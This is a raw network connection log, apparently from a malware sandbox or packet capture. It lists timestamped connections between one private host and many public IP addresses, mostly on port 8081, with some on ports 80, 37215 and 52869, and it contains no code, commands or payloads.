Jul 20, 2024 23:00:58.791641951 CEST	33197	8081	192.168.2.23	34.190.77.82
Jul 20, 2024 23:00:58.791708946 CEST	8081	33197	61.90.167.62	192.168.2.23
Jul 20, 2024 23:00:58.791753054 CEST	8081	33197	121.148.70.149	192.168.2.23
Jul 20, 2024 23:00:58.791784048 CEST	8081	33197	41.181.82.32	192.168.2.23
Jul 20, 2024 23:00:58.791841984 CEST	8081	33197	49.188.118.151	192.168.2.23
Jul 20, 2024 23:00:58.791851997 CEST	33197	8081	192.168.2.23	98.227.60.147
Jul 20, 2024 23:00:58.791851997 CEST	33197	8081	192.168.2.23	9.161.22.197
Jul 20, 2024 23:00:58.791851997 CEST	33197	8081	192.168.2.23	9.54.5.202
Jul 20, 2024 23:00:58.791851997 CEST	33197	8081	192.168.2.23	185.96.246.241
Jul 20, 2024 23:00:58.791851997 CEST	33197	8081	192.168.2.23	112.167.70.249
Jul 20, 2024 23:00:58.791851997 CEST	33197	8081	192.168.2.23	171.225.173.192
Jul 20, 2024 23:00:58.791851997 CEST	33197	8081	192.168.2.23	208.218.127.60
Jul 20, 2024 23:00:58.791851997 CEST	33197	8081	192.168.2.23	203.254.229.237
Jul 20, 2024 23:00:58.791872978 CEST	8081	33197	114.150.129.28	192.168.2.23
Jul 20, 2024 23:00:58.791902065 CEST	8081	33197	189.27.148.113	192.168.2.23
Jul 20, 2024 23:00:58.791934013 CEST	8081	33197	174.52.250.182	192.168.2.23
Jul 20, 2024 23:00:58.791964054 CEST	8081	33197	85.248.112.147	192.168.2.23
Jul 20, 2024 23:00:58.792752028 CEST	8081	33197	140.252.13.189	192.168.2.23
Jul 20, 2024 23:00:58.792771101 CEST	8081	33197	58.40.54.136	192.168.2.23
Jul 20, 2024 23:00:58.792785883 CEST	8081	33197	168.148.247.48	192.168.2.23
Jul 20, 2024 23:00:58.792889118 CEST	33197	8081	192.168.2.23	18.13.7.9
Jul 20, 2024 23:00:58.792889118 CEST	33197	8081	192.168.2.23	24.239.40.8
Jul 20, 2024 23:00:58.792889118 CEST	33197	8081	192.168.2.23	174.79.242.178
Jul 20, 2024 23:00:58.792889118 CEST	33197	8081	192.168.2.23	223.239.79.253
Jul 20, 2024 23:00:58.792889118 CEST	33197	8081	192.168.2.23	209.249.90.159
Jul 20, 2024 23:00:58.792889118 CEST	33197	8081	192.168.2.23	52.45.213.200
Jul 20, 2024 23:00:58.792889118 CEST	33197	8081	192.168.2.23	164.76.168.173
Jul 20, 2024 23:00:58.793052912 CEST	8081	33197	148.241.128.127	192.168.2.23
Jul 20, 2024 23:00:58.793143034 CEST	8081	33197	103.135.154.99	192.168.2.23
Jul 20, 2024 23:00:58.793348074 CEST	8081	33197	112.10.233.152	192.168.2.23
Jul 20, 2024 23:00:58.793363094 CEST	8081	33197	154.17.124.112	192.168.2.23
Jul 20, 2024 23:00:58.793380022 CEST	8081	33197	141.171.97.253	192.168.2.23
Jul 20, 2024 23:00:58.793931961 CEST	8081	33197	140.163.142.42	192.168.2.23
Jul 20, 2024 23:00:58.794114113 CEST	33197	8081	192.168.2.23	74.73.47.219
Jul 20, 2024 23:00:58.794114113 CEST	33197	8081	192.168.2.23	156.247.245.56
Jul 20, 2024 23:00:58.794114113 CEST	33197	8081	192.168.2.23	79.198.127.147
Jul 20, 2024 23:00:58.794114113 CEST	33197	8081	192.168.2.23	148.230.251.227
Jul 20, 2024 23:00:58.794114113 CEST	33197	8081	192.168.2.23	48.140.191.241
Jul 20, 2024 23:00:58.794114113 CEST	33197	8081	192.168.2.23	114.79.117.232
Jul 20, 2024 23:00:58.794114113 CEST	33197	8081	192.168.2.23	186.8.210.141
Jul 20, 2024 23:00:58.794471979 CEST	33197	8081	192.168.2.23	103.138.137.54
Jul 20, 2024 23:00:58.794471979 CEST	33197	8081	192.168.2.23	41.6.16.49
Jul 20, 2024 23:00:58.794471979 CEST	33197	8081	192.168.2.23	173.54.17.172
Jul 20, 2024 23:00:58.794471979 CEST	33197	8081	192.168.2.23	124.254.124.35
Jul 20, 2024 23:00:58.794471979 CEST	33197	8081	192.168.2.23	103.135.154.99
Jul 20, 2024 23:00:58.794471979 CEST	33197	8081	192.168.2.23	140.163.142.42
Jul 20, 2024 23:00:58.794811964 CEST	8081	33197	104.174.170.81	192.168.2.23
Jul 20, 2024 23:00:58.794869900 CEST	33197	8081	192.168.2.23	72.85.245.128
Jul 20, 2024 23:00:58.794869900 CEST	33197	8081	192.168.2.23	217.39.177.231
Jul 20, 2024 23:00:58.794869900 CEST	33197	8081	192.168.2.23	99.69.68.118
Jul 20, 2024 23:00:58.794871092 CEST	33197	8081	192.168.2.23	140.252.13.189
Jul 20, 2024 23:00:58.794871092 CEST	33197	8081	192.168.2.23	104.174.170.81
Jul 20, 2024 23:00:58.794878006 CEST	8081	33197	126.97.130.58	192.168.2.23
Jul 20, 2024 23:00:58.794909000 CEST	8081	33197	9.100.200.155	192.168.2.23
Jul 20, 2024 23:00:58.794938087 CEST	8081	33197	98.138.1.67	192.168.2.23
Jul 20, 2024 23:00:58.794966936 CEST	8081	33197	174.171.224.113	192.168.2.23
Jul 20, 2024 23:00:58.794996977 CEST	8081	33197	128.16.92.174	192.168.2.23
Jul 20, 2024 23:00:58.795054913 CEST	8081	33197	50.170.128.175	192.168.2.23
Jul 20, 2024 23:00:58.795087099 CEST	8081	33197	155.200.157.117	192.168.2.23
Jul 20, 2024 23:00:58.795118093 CEST	8081	33197	177.249.216.221	192.168.2.23
Jul 20, 2024 23:00:58.795146942 CEST	8081	33197	138.55.204.52	192.168.2.23
Jul 20, 2024 23:00:58.795175076 CEST	8081	33197	205.157.211.195	192.168.2.23
Jul 20, 2024 23:00:58.795203924 CEST	8081	33197	74.107.212.11	192.168.2.23
Jul 20, 2024 23:00:58.795233011 CEST	8081	33197	132.209.44.176	192.168.2.23
Jul 20, 2024 23:00:58.795263052 CEST	8081	33197	87.112.177.15	192.168.2.23
Jul 20, 2024 23:00:58.795300007 CEST	8081	33197	82.72.60.217	192.168.2.23
Jul 20, 2024 23:00:58.795329094 CEST	8081	33197	191.43.165.233	192.168.2.23
Jul 20, 2024 23:00:58.795357943 CEST	8081	33197	72.149.250.185	192.168.2.23
Jul 20, 2024 23:00:58.795387030 CEST	8081	33197	70.68.58.178	192.168.2.23
Jul 20, 2024 23:00:58.795700073 CEST	8081	33197	24.254.11.204	192.168.2.23
Jul 20, 2024 23:00:58.795728922 CEST	8081	33197	39.175.200.53	192.168.2.23
Jul 20, 2024 23:00:58.795989990 CEST	33197	8081	192.168.2.23	58.40.54.136
Jul 20, 2024 23:00:58.795989990 CEST	33197	8081	192.168.2.23	148.241.128.127
Jul 20, 2024 23:00:58.795989990 CEST	33197	8081	192.168.2.23	112.10.233.152
Jul 20, 2024 23:00:58.795989990 CEST	33197	8081	192.168.2.23	126.97.130.58
Jul 20, 2024 23:00:58.795989990 CEST	33197	8081	192.168.2.23	174.171.224.113
Jul 20, 2024 23:00:58.795989990 CEST	33197	8081	192.168.2.23	138.55.204.52
Jul 20, 2024 23:00:58.795989990 CEST	33197	8081	192.168.2.23	74.107.212.11
Jul 20, 2024 23:00:58.796389103 CEST	8081	33197	143.254.36.87	192.168.2.23
Jul 20, 2024 23:00:58.796426058 CEST	8081	33197	188.227.121.49	192.168.2.23
Jul 20, 2024 23:00:58.796442032 CEST	8081	33197	61.34.177.207	192.168.2.23
Jul 20, 2024 23:00:58.796739101 CEST	80	51312	95.196.201.154	192.168.2.23
Jul 20, 2024 23:00:58.796768904 CEST	8081	33197	112.205.159.182	192.168.2.23
Jul 20, 2024 23:00:58.796933889 CEST	8081	33197	170.189.58.93	192.168.2.23
Jul 20, 2024 23:00:58.797832012 CEST	33197	8081	192.168.2.23	64.214.148.11
Jul 20, 2024 23:00:58.797832012 CEST	33197	8081	192.168.2.23	185.32.214.242
Jul 20, 2024 23:00:58.797832012 CEST	45724	8081	192.168.2.23	165.83.86.189
Jul 20, 2024 23:00:58.797832966 CEST	45724	8081	192.168.2.23	165.83.86.189
Jul 20, 2024 23:00:58.797832966 CEST	35476	80	192.168.2.23	95.247.205.18
Jul 20, 2024 23:00:58.797832966 CEST	33197	8081	192.168.2.23	196.108.108.125
Jul 20, 2024 23:00:58.797832966 CEST	33197	8081	192.168.2.23	35.148.37.133
Jul 20, 2024 23:00:58.797832966 CEST	33197	8081	192.168.2.23	210.14.121.60
Jul 20, 2024 23:00:58.798191071 CEST	33197	8081	192.168.2.23	98.138.1.67
Jul 20, 2024 23:00:58.798191071 CEST	33197	8081	192.168.2.23	205.157.211.195
Jul 20, 2024 23:00:58.798379898 CEST	33197	8081	192.168.2.23	188.227.121.49
Jul 20, 2024 23:00:58.798379898 CEST	33197	8081	192.168.2.23	61.34.177.207
Jul 20, 2024 23:00:58.798379898 CEST	33197	8081	192.168.2.23	112.205.159.182
Jul 20, 2024 23:00:58.798379898 CEST	33197	8081	192.168.2.23	170.189.58.93
Jul 20, 2024 23:00:58.798490047 CEST	8081	33197	120.40.164.112	192.168.2.23
Jul 20, 2024 23:00:58.799089909 CEST	8081	33197	207.252.67.135	192.168.2.23
Jul 20, 2024 23:00:58.799135923 CEST	8081	33197	34.179.228.186	192.168.2.23
Jul 20, 2024 23:00:58.799166918 CEST	8081	33197	116.129.83.111	192.168.2.23
Jul 20, 2024 23:00:58.799552917 CEST	8081	33197	89.46.119.250	192.168.2.23
Jul 20, 2024 23:00:58.799582958 CEST	8081	33197	39.203.10.122	192.168.2.23
Jul 20, 2024 23:00:58.799612999 CEST	8081	33197	170.243.153.104	192.168.2.23
Jul 20, 2024 23:00:58.799856901 CEST	8081	33197	92.6.248.38	192.168.2.23
Jul 20, 2024 23:00:58.799889088 CEST	8081	33197	117.241.52.78	192.168.2.23
Jul 20, 2024 23:00:58.799917936 CEST	8081	33197	12.229.46.40	192.168.2.23
Jul 20, 2024 23:00:58.799952984 CEST	8081	33197	105.89.179.236	192.168.2.23
Jul 20, 2024 23:00:58.800471067 CEST	8081	33197	146.219.242.200	192.168.2.23
Jul 20, 2024 23:00:58.800499916 CEST	8081	33197	194.130.105.156	192.168.2.23
Jul 20, 2024 23:00:58.800513983 CEST	8081	33197	202.101.188.91	192.168.2.23
Jul 20, 2024 23:00:58.800606966 CEST	33197	8081	192.168.2.23	141.221.216.228
Jul 20, 2024 23:00:58.800607920 CEST	33197	8081	192.168.2.23	58.132.155.54
Jul 20, 2024 23:00:58.800607920 CEST	33197	8081	192.168.2.23	13.38.37.160
Jul 20, 2024 23:00:58.800607920 CEST	33197	8081	192.168.2.23	61.90.167.62
Jul 20, 2024 23:00:58.800607920 CEST	33197	8081	192.168.2.23	49.188.118.151
Jul 20, 2024 23:00:58.800607920 CEST	33197	8081	192.168.2.23	9.100.200.155
Jul 20, 2024 23:00:58.801282883 CEST	33197	8081	192.168.2.23	207.252.67.135
Jul 20, 2024 23:00:58.801928043 CEST	33197	8081	192.168.2.23	114.150.129.28
Jul 20, 2024 23:00:58.801928043 CEST	33197	8081	192.168.2.23	85.248.112.147
Jul 20, 2024 23:00:58.801928043 CEST	33197	8081	192.168.2.23	168.148.247.48
Jul 20, 2024 23:00:58.801928043 CEST	33197	8081	192.168.2.23	141.171.97.253
Jul 20, 2024 23:00:58.801928043 CEST	33197	8081	192.168.2.23	50.170.128.175
Jul 20, 2024 23:00:58.801928043 CEST	33197	8081	192.168.2.23	87.112.177.15
Jul 20, 2024 23:00:58.801928043 CEST	33197	8081	192.168.2.23	191.43.165.233
Jul 20, 2024 23:00:58.802084923 CEST	8081	33197	179.39.1.212	192.168.2.23
Jul 20, 2024 23:00:58.802099943 CEST	8081	33197	135.16.132.164	192.168.2.23
Jul 20, 2024 23:00:58.802114010 CEST	8081	33197	206.181.92.111	192.168.2.23
Jul 20, 2024 23:00:58.802126884 CEST	8081	33197	182.180.160.231	192.168.2.23
Jul 20, 2024 23:00:58.802139044 CEST	8081	33197	74.73.47.219	192.168.2.23
Jul 20, 2024 23:00:58.802150965 CEST	8081	33197	60.38.209.220	192.168.2.23
Jul 20, 2024 23:00:58.802162886 CEST	8081	33197	166.54.195.243	192.168.2.23
Jul 20, 2024 23:00:58.802289963 CEST	33197	8081	192.168.2.23	12.134.98.75
Jul 20, 2024 23:00:58.802289963 CEST	33197	8081	192.168.2.23	155.181.80.104
Jul 20, 2024 23:00:58.802289963 CEST	33197	8081	192.168.2.23	102.178.216.178
Jul 20, 2024 23:00:58.802289963 CEST	33197	8081	192.168.2.23	94.209.114.162
Jul 20, 2024 23:00:58.802289963 CEST	33197	8081	192.168.2.23	80.79.150.182
Jul 20, 2024 23:00:58.802290916 CEST	33197	8081	192.168.2.23	222.103.79.237
Jul 20, 2024 23:00:58.802290916 CEST	33197	8081	192.168.2.23	197.162.127.154
Jul 20, 2024 23:00:58.802290916 CEST	33197	8081	192.168.2.23	168.189.46.128
Jul 20, 2024 23:00:58.802377939 CEST	33197	8081	192.168.2.23	37.235.122.188
Jul 20, 2024 23:00:58.802377939 CEST	33197	8081	192.168.2.23	121.148.70.149
Jul 20, 2024 23:00:58.802377939 CEST	33197	8081	192.168.2.23	189.27.148.113
Jul 20, 2024 23:00:58.802377939 CEST	33197	8081	192.168.2.23	154.17.124.112
Jul 20, 2024 23:00:58.802377939 CEST	33197	8081	192.168.2.23	177.249.216.221
Jul 20, 2024 23:00:58.802377939 CEST	33197	8081	192.168.2.23	82.72.60.217
Jul 20, 2024 23:00:58.802377939 CEST	33197	8081	192.168.2.23	72.149.250.185
Jul 20, 2024 23:00:58.802377939 CEST	33197	8081	192.168.2.23	143.254.36.87
Jul 20, 2024 23:00:58.802531004 CEST	33197	8081	192.168.2.23	27.208.89.228
Jul 20, 2024 23:00:58.802531004 CEST	33197	8081	192.168.2.23	41.181.82.32
Jul 20, 2024 23:00:58.802531004 CEST	33197	8081	192.168.2.23	174.52.250.182
Jul 20, 2024 23:00:58.802531004 CEST	33197	8081	192.168.2.23	128.16.92.174
Jul 20, 2024 23:00:58.802531004 CEST	33197	8081	192.168.2.23	155.200.157.117
Jul 20, 2024 23:00:58.802531004 CEST	33197	8081	192.168.2.23	24.254.11.204
Jul 20, 2024 23:00:58.802531004 CEST	33197	8081	192.168.2.23	120.40.164.112
Jul 20, 2024 23:00:58.802531004 CEST	33197	8081	192.168.2.23	116.129.83.111
Jul 20, 2024 23:00:58.803066969 CEST	8081	33197	81.3.157.225	192.168.2.23
Jul 20, 2024 23:00:58.803663015 CEST	8081	33197	13.12.59.90	192.168.2.23
Jul 20, 2024 23:00:58.803675890 CEST	8081	33197	183.66.55.78	192.168.2.23
Jul 20, 2024 23:00:58.803689003 CEST	8081	33197	93.210.198.101	192.168.2.23
Jul 20, 2024 23:00:58.803777933 CEST	33197	8081	192.168.2.23	132.209.44.176
Jul 20, 2024 23:00:58.803777933 CEST	33197	8081	192.168.2.23	39.175.200.53
Jul 20, 2024 23:00:58.803777933 CEST	33197	8081	192.168.2.23	34.179.228.186
Jul 20, 2024 23:00:58.803778887 CEST	33197	8081	192.168.2.23	89.46.119.250
Jul 20, 2024 23:00:58.803778887 CEST	33197	8081	192.168.2.23	92.6.248.38
Jul 20, 2024 23:00:58.803778887 CEST	33197	8081	192.168.2.23	179.39.1.212
Jul 20, 2024 23:00:58.803778887 CEST	33197	8081	192.168.2.23	60.38.209.220
Jul 20, 2024 23:00:58.804313898 CEST	33197	8081	192.168.2.23	70.68.58.178
Jul 20, 2024 23:00:58.804313898 CEST	33197	8081	192.168.2.23	170.243.153.104
Jul 20, 2024 23:00:58.804313898 CEST	33197	8081	192.168.2.23	105.89.179.236
Jul 20, 2024 23:00:58.804352045 CEST	8081	33197	175.175.83.54	192.168.2.23
Jul 20, 2024 23:00:58.804415941 CEST	8081	33197	64.214.148.11	192.168.2.23
Jul 20, 2024 23:00:58.804430008 CEST	8081	33197	130.27.118.65	192.168.2.23
Jul 20, 2024 23:00:58.804775000 CEST	8081	33197	4.208.144.164	192.168.2.23
Jul 20, 2024 23:00:58.804800034 CEST	8081	33197	223.9.5.154	192.168.2.23
Jul 20, 2024 23:00:58.804812908 CEST	8081	33197	185.32.214.242	192.168.2.23
Jul 20, 2024 23:00:58.804899931 CEST	8081	33197	87.159.253.182	192.168.2.23
Jul 20, 2024 23:00:58.805067062 CEST	8081	45724	165.83.86.189	192.168.2.23
Jul 20, 2024 23:00:58.805094957 CEST	33197	8081	192.168.2.23	85.202.107.32
Jul 20, 2024 23:00:58.805094957 CEST	33197	8081	192.168.2.23	187.76.96.188
Jul 20, 2024 23:00:58.805094957 CEST	33197	8081	192.168.2.23	196.208.199.20
Jul 20, 2024 23:00:58.805094957 CEST	33197	8081	192.168.2.23	62.248.155.81
Jul 20, 2024 23:00:58.805094957 CEST	33197	8081	192.168.2.23	218.115.54.205
Jul 20, 2024 23:00:58.805094957 CEST	39668	37215	192.168.2.23	157.53.103.29
Jul 20, 2024 23:00:58.805095911 CEST	33197	8081	192.168.2.23	103.246.66.113
Jul 20, 2024 23:00:58.805095911 CEST	33197	8081	192.168.2.23	17.52.174.48
Jul 20, 2024 23:00:58.805116892 CEST	8081	33197	133.31.2.232	192.168.2.23
Jul 20, 2024 23:00:58.805191040 CEST	33197	8081	192.168.2.23	117.241.52.78
Jul 20, 2024 23:00:58.805191994 CEST	33197	8081	192.168.2.23	194.130.105.156
Jul 20, 2024 23:00:58.805191994 CEST	33197	8081	192.168.2.23	182.180.160.231
Jul 20, 2024 23:00:58.805191994 CEST	33197	8081	192.168.2.23	206.181.92.111
Jul 20, 2024 23:00:58.805191994 CEST	33197	8081	192.168.2.23	183.66.55.78
Jul 20, 2024 23:00:58.805191994 CEST	33197	8081	192.168.2.23	93.210.198.101
Jul 20, 2024 23:00:58.805191994 CEST	33197	8081	192.168.2.23	64.214.148.11
Jul 20, 2024 23:00:58.805191994 CEST	33197	8081	192.168.2.23	185.32.214.242
Jul 20, 2024 23:00:58.805943012 CEST	8081	33197	126.183.131.29	192.168.2.23
Jul 20, 2024 23:00:58.806535959 CEST	33197	8081	192.168.2.23	12.229.46.40
Jul 20, 2024 23:00:58.806535959 CEST	33197	8081	192.168.2.23	146.219.242.200
Jul 20, 2024 23:00:58.806535959 CEST	33197	8081	192.168.2.23	202.101.188.91
Jul 20, 2024 23:00:58.806535959 CEST	33197	8081	192.168.2.23	74.73.47.219
Jul 20, 2024 23:00:58.806575060 CEST	8081	33197	141.221.216.228	192.168.2.23
Jul 20, 2024 23:00:58.807066917 CEST	33197	8081	192.168.2.23	81.3.157.225
Jul 20, 2024 23:00:58.807066917 CEST	33197	8081	192.168.2.23	13.12.59.90
Jul 20, 2024 23:00:58.807066917 CEST	33197	8081	192.168.2.23	130.27.118.65
Jul 20, 2024 23:00:58.807066917 CEST	33197	8081	192.168.2.23	133.31.2.232
Jul 20, 2024 23:00:58.807066917 CEST	33197	8081	192.168.2.23	126.183.131.29
Jul 20, 2024 23:00:58.807066917 CEST	33197	8081	192.168.2.23	141.221.216.228
Jul 20, 2024 23:00:58.807132006 CEST	32848	80	192.168.2.23	95.2.212.137
Jul 20, 2024 23:00:58.807404041 CEST	33197	8081	192.168.2.23	39.203.10.122
Jul 20, 2024 23:00:58.807404041 CEST	33197	8081	192.168.2.23	135.16.132.164
Jul 20, 2024 23:00:58.807404041 CEST	33197	8081	192.168.2.23	166.54.195.243
Jul 20, 2024 23:00:58.807404041 CEST	33197	8081	192.168.2.23	175.175.83.54
Jul 20, 2024 23:00:58.807404041 CEST	33197	8081	192.168.2.23	4.208.144.164
Jul 20, 2024 23:00:58.807404041 CEST	33197	8081	192.168.2.23	223.9.5.154
Jul 20, 2024 23:00:58.807404041 CEST	33197	8081	192.168.2.23	87.159.253.182
Jul 20, 2024 23:00:58.807509899 CEST	32848	80	192.168.2.23	95.2.212.137
Jul 20, 2024 23:00:58.807606936 CEST	8081	33197	192.119.204.171	192.168.2.23
Jul 20, 2024 23:00:58.808051109 CEST	45724	8081	192.168.2.23	165.83.86.189
Jul 20, 2024 23:00:58.808051109 CEST	46534	8081	192.168.2.23	165.83.86.189
Jul 20, 2024 23:00:58.808279991 CEST	8081	33197	12.134.98.75	192.168.2.23
Jul 20, 2024 23:00:58.808307886 CEST	8081	33197	155.181.80.104	192.168.2.23
Jul 20, 2024 23:00:58.808458090 CEST	8081	33197	102.178.216.178	192.168.2.23
Jul 20, 2024 23:00:58.808532000 CEST	8081	33197	94.209.114.162	192.168.2.23
Jul 20, 2024 23:00:58.808779955 CEST	80	43120	95.65.53.181	192.168.2.23
Jul 20, 2024 23:00:58.808794975 CEST	8081	33197	80.79.150.182	192.168.2.23
Jul 20, 2024 23:00:58.808866024 CEST	33197	8081	192.168.2.23	192.119.204.171
Jul 20, 2024 23:00:58.808866024 CEST	33197	8081	192.168.2.23	12.134.98.75
Jul 20, 2024 23:00:58.808866024 CEST	33197	8081	192.168.2.23	155.181.80.104
Jul 20, 2024 23:00:58.808866024 CEST	33197	8081	192.168.2.23	102.178.216.178
Jul 20, 2024 23:00:58.808866024 CEST	33197	8081	192.168.2.23	94.209.114.162
Jul 20, 2024 23:00:58.808866024 CEST	33197	8081	192.168.2.23	80.79.150.182
Jul 20, 2024 23:00:58.809225082 CEST	55498	52869	192.168.2.23	191.173.38.241
Jul 20, 2024 23:00:58.809232950 CEST	8081	33197	222.103.79.237	192.168.2.23
Jul 20, 2024 23:00:58.809555054 CEST	8081	33197	197.162.127.154	192.168.2.23
Jul 20, 2024 23:00:58.809607029 CEST	33197	8081	192.168.2.23	222.103.79.237
Jul 20, 2024 23:00:58.809607029 CEST	44694	37215	192.168.2.23	41.47.64.65
Jul 20, 2024 23:00:58.809607029 CEST	33197	8081	192.168.2.23	197.162.127.154
Jul 20, 2024 23:00:58.809993029 CEST	8081	33197	168.189.46.128	192.168.2.23
Jul 20, 2024 23:00:58.810117006 CEST	33197	8081	192.168.2.23	168.189.46.128
Jul 20, 2024 23:00:58.810193062 CEST	34728	8081	192.168.2.23	191.189.55.135
Jul 20, 2024 23:00:58.810270071 CEST	8081	33197	85.202.107.32	192.168.2.23
Jul 20, 2024 23:00:58.810272932 CEST	34728	8081	192.168.2.23	191.189.55.135
Jul 20, 2024 23:00:58.810313940 CEST	33197	8081	192.168.2.23	85.202.107.32
Jul 20, 2024 23:00:58.810498953 CEST	8081	33197	187.76.96.188	192.168.2.23
Jul 20, 2024 23:00:58.810542107 CEST	33197	8081	192.168.2.23	187.76.96.188
Jul 20, 2024 23:00:58.810755014 CEST	8081	33197	196.208.199.20	192.168.2.23
Jul 20, 2024 23:00:58.810801029 CEST	33197	8081	192.168.2.23	196.208.199.20
Jul 20, 2024 23:00:58.811640978 CEST	33616	80	192.168.2.23	95.2.212.137
Jul 20, 2024 23:00:58.812227964 CEST	49352	52869	192.168.2.23	193.7.32.204
Jul 20, 2024 23:00:58.812525988 CEST	35546	8081	192.168.2.23	191.189.55.135
Jul 20, 2024 23:00:58.813792944 CEST	8081	33197	62.248.155.81	192.168.2.23
Jul 20, 2024 23:00:58.813807964 CEST	8081	33197	218.115.54.205	192.168.2.23
Jul 20, 2024 23:00:58.813832998 CEST	80	32848	95.2.212.137	192.168.2.23
Jul 20, 2024 23:00:58.813843966 CEST	33197	8081	192.168.2.23	62.248.155.81
Jul 20, 2024 23:00:58.813848972 CEST	8081	45724	165.83.86.189	192.168.2.23
Jul 20, 2024 23:00:58.813863039 CEST	8081	46534	165.83.86.189	192.168.2.23
Jul 20, 2024 23:00:58.813910961 CEST	46534	8081	192.168.2.23	165.83.86.189
Jul 20, 2024 23:00:58.814038038 CEST	33197	8081	192.168.2.23	218.115.54.205
Jul 20, 2024 23:00:58.814038038 CEST	42692	37215	192.168.2.23	197.241.179.191
Jul 20, 2024 23:00:58.814748049 CEST	48848	8081	192.168.2.23	31.254.206.145
Jul 20, 2024 23:00:58.814748049 CEST	48848	8081	192.168.2.23	31.254.206.145
Jul 20, 2024 23:00:58.814999104 CEST	52869	55498	191.173.38.241	192.168.2.23
Jul 20, 2024 23:00:58.815013885 CEST	37215	44694	41.47.64.65	192.168.2.23
Jul 20, 2024 23:00:58.815049887 CEST	55498	52869	192.168.2.23	191.173.38.241
Jul 20, 2024 23:00:58.815053940 CEST	44694	37215	192.168.2.23	41.47.64.65
Jul 20, 2024 23:00:58.816278934 CEST	8081	34728	191.189.55.135	192.168.2.23
Jul 20, 2024 23:00:58.816346884 CEST	49668	8081	192.168.2.23	31.254.206.145
Jul 20, 2024 23:00:58.816437960 CEST	40214	80	192.168.2.23	95.191.65.210
Jul 20, 2024 23:00:58.816437960 CEST	40214	80	192.168.2.23	95.191.65.210
Jul 20, 2024 23:00:58.816601038 CEST	80	34716	95.247.205.18	192.168.2.23
Jul 20, 2024 23:00:58.816658020 CEST	52638	52869	192.168.2.23	123.42.160.177
Jul 20, 2024 23:00:58.816862106 CEST	80	33616	95.2.212.137	192.168.2.23
Jul 20, 2024 23:00:58.817006111 CEST	33616	80	192.168.2.23	95.2.212.137
Jul 20, 2024 23:00:58.817703009 CEST	52869	49352	193.7.32.204	192.168.2.23
Jul 20, 2024 23:00:58.817743063 CEST	49352	52869	192.168.2.23	193.7.32.204
Jul 20, 2024 23:00:58.817754984 CEST	8081	35546	191.189.55.135	192.168.2.23
Jul 20, 2024 23:00:58.817795992 CEST	35546	8081	192.168.2.23	191.189.55.135
Jul 20, 2024 23:00:58.817823887 CEST	52500	37215	192.168.2.23	197.58.83.134
Jul 20, 2024 23:00:58.818456888 CEST	57354	8081	192.168.2.23	27.92.33.187
Jul 20, 2024 23:00:58.818456888 CEST	57354	8081	192.168.2.23	27.92.33.187
Jul 20, 2024 23:00:58.819766045 CEST	40992	80	192.168.2.23	95.191.65.210
Jul 20, 2024 23:00:58.820183039 CEST	37215	42692	197.241.179.191	192.168.2.23
Jul 20, 2024 23:00:58.820197105 CEST	8081	48848	31.254.206.145	192.168.2.23
Jul 20, 2024 23:00:58.820264101 CEST	42692	37215	192.168.2.23	197.241.179.191
Jul 20, 2024 23:00:58.820648909 CEST	58182	8081	192.168.2.23	27.92.33.187
Jul 20, 2024 23:00:58.820718050 CEST	42216	52869	192.168.2.23	64.43.73.86
Jul 20, 2024 23:00:58.821547985 CEST	8081	49668	31.254.206.145	192.168.2.23
Jul 20, 2024 23:00:58.821563005 CEST	80	40214	95.191.65.210	192.168.2.23
Jul 20, 2024 23:00:58.821599960 CEST	49668	8081	192.168.2.23	31.254.206.145
Jul 20, 2024 23:00:58.822016001 CEST	42824	37215	192.168.2.23	139.165.159.227
Jul 20, 2024 23:00:58.822088003 CEST	52869	52638	123.42.160.177	192.168.2.23
Jul 20, 2024 23:00:58.822164059 CEST	52638	52869	192.168.2.23	123.42.160.177
Jul 20, 2024 23:00:58.822956085 CEST	54846	8081	192.168.2.23	91.130.196.71
Jul 20, 2024 23:00:58.822956085 CEST	54846	8081	192.168.2.23	91.130.196.71
Jul 20, 2024 23:00:58.823096037 CEST	37215	52500	197.58.83.134	192.168.2.23
Jul 20, 2024 23:00:58.823143959 CEST	52500	37215	192.168.2.23	197.58.83.134
Jul 20, 2024 23:00:58.823415995 CEST	8081	57354	27.92.33.187	192.168.2.23
Jul 20, 2024 23:00:58.823978901 CEST	55676	8081	192.168.2.23	91.130.196.71
Jul 20, 2024 23:00:58.824229002 CEST	56016	80	192.168.2.23	95.60.51.67
Jul 20, 2024 23:00:58.824229002 CEST	56016	80	192.168.2.23	95.60.51.67
Jul 20, 2024 23:00:58.824554920 CEST	36392	52869	192.168.2.23	161.20.12.87
Jul 20, 2024 23:00:58.824811935 CEST	80	40992	95.191.65.210	192.168.2.23
Jul 20, 2024 23:00:58.824878931 CEST	40992	80	192.168.2.23	95.191.65.210
Jul 20, 2024 23:00:58.825525999 CEST	54948	37215	192.168.2.23	157.23.56.129
Jul 20, 2024 23:00:58.825901985 CEST	8081	58182	27.92.33.187	192.168.2.23
Jul 20, 2024 23:00:58.825931072 CEST	52869	42216	64.43.73.86	192.168.2.23
Jul 20, 2024 23:00:58.825943947 CEST	58182	8081	192.168.2.23	27.92.33.187
Jul 20, 2024 23:00:58.825984001 CEST	42216	52869	192.168.2.23	64.43.73.86
Jul 20, 2024 23:00:58.826133013 CEST	47596	8081	192.168.2.23	198.50.246.46
Jul 20, 2024 23:00:58.826133013 CEST	47596	8081	192.168.2.23	198.50.246.46
Jul 20, 2024 23:00:58.827703953 CEST	56804	80	192.168.2.23	95.60.51.67
Jul 20, 2024 23:00:58.828335047 CEST	37202	52869	192.168.2.23	18.37.139.58
Jul 20, 2024 23:00:58.828604937 CEST	48434	8081	192.168.2.23	198.50.246.46
Jul 20, 2024 23:00:58.829294920 CEST	37215	42824	139.165.159.227	192.168.2.23
Jul 20, 2024 23:00:58.829363108 CEST	42824	37215	192.168.2.23	139.165.159.227
Jul 20, 2024 23:00:58.830022097 CEST	48742	37215	192.168.2.23	197.251.31.217
Jul 20, 2024 23:00:58.830970049 CEST	57272	8081	192.168.2.23	153.129.111.29
Jul 20, 2024 23:00:58.830970049 CEST	57272	8081	192.168.2.23	153.129.111.29
Jul 20, 2024 23:00:58.832257986 CEST	33850	80	192.168.2.23	95.87.70.25
Jul 20, 2024 23:00:58.832258940 CEST	33850	80	192.168.2.23	95.87.70.25
Jul 20, 2024 23:00:58.832264900 CEST	58112	8081	192.168.2.23	153.129.111.29
Jul 20, 2024 23:00:58.832679987 CEST	52414	52869	192.168.2.23	45.158.122.120
Jul 20, 2024 23:00:58.833861113 CEST	56512	37215	192.168.2.23	197.137.254.119
Jul 20, 2024 23:00:58.834579945 CEST	48566	8081	192.168.2.23	69.135.152.58
Jul 20, 2024 23:00:58.834579945 CEST	48566	8081	192.168.2.23	69.135.152.58
